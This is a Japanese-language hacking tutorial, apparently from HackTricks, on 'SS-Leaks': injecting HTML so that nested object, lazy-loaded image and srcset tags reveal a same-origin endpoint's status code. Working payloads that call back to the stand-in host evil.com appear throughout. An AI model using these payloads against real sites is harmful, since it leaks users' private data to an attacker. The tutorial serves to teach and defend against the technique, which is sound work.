8 KiB
SS-Leaks
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
これはdangling markupとXS-Leaksのミックスです。一方で、この脆弱性では、攻撃対象となるページと同じオリジンのページにHTML(JSではない)を注入することができます。他方で、HTMLを注入できるページそのものを直接攻撃するのではなく、別のページを攻撃します。
ネストされたオブジェクト
/api/v1/leaky?secret=a
エンドポイントが404ステータスコードを返す場合、内部のobject
がロードされ、https://evil.com?callback=a
にコールバックが行われ、検索クエリa
が結果を返さなかったことがわかります。
<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>
レイジーローディング
もしCSPが外部オブジェクトをブロックした場合はどうなるでしょうか?次のCSPを試してみましょう:
Content-Security-Policy: default-src 'self'; img-src *;
先ほどのコールバックobject
はもはや機能しません。その代わりに、画像のレイジーローディングを使用することができます!次の画像は、表示されており、ビューポートから一定の距離内にある場合にのみロードされます。
<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>
レスポンシブ画像
上記のテクニックは素晴らしいですが、HTMLのインジェクションがユーザーのビューポート内にあることを前提としています。
もしインジェクションが画面外にあり、ユーザーがスクロールしない場合でも、データを漏洩させることはできますか? もちろん、要素のIDとscroll-to-text-fragmentを使用して、スクロールを強制するURLを作成することはできますが、これらはユーザーの操作に依存しており、実世界のシナリオで一貫した漏洩を実現することはできません。理想的には、保存されたHTMLインジェクションを信頼性のある方法で武器化したいのです。
それがレスポンシブ画像です!具体的には、画像のsrcset
とsizes
属性です。
{% code overflow="wrap" %}
<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
{% endcode %}
ここで解説するべきことがいくつかあります。まず、リークするエンドポイントが404ステータスコードを返す場合にのみ、内部のiframeが表示されることを覚えておいてください。
これは重要です。なぜなら、今度は条件付きでiframe内の画像を2つの異なるURLから読み込むようにします。sizes
属性を使用して、ビューポートのサイズに応じてどのURLから画像を読み込むかを選択するために、メディアクエリを使用できます。
{% code overflow="wrap" %}
<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>
{% endcode %}
私たちのiframeには width="1000px"
があるため、次のことが起こります:
- もしリークするエンドポイントが404ステータスコードを返す場合、iframeが表示され、幅が1000pxになります。iframe内の画像は
(min-width: 1000px)
メディアクエリに一致し、https://evil.com?callback=0
から800pxの画像を読み込みます。 - もしリークするエンドポイントが200ステータスコードを返す場合、iframeは表示されません。画像は大きなiframeの一部としてレンダリングされていないため、
(max-width 999px)
メディアクエリに一致し、https://evil.com?callback=1
から480pxの画像を読み込みます。
参考文献
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください、私たちの独占的なNFTsのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するために、PRを hacktricks repo と hacktricks-cloud repo に提出してください。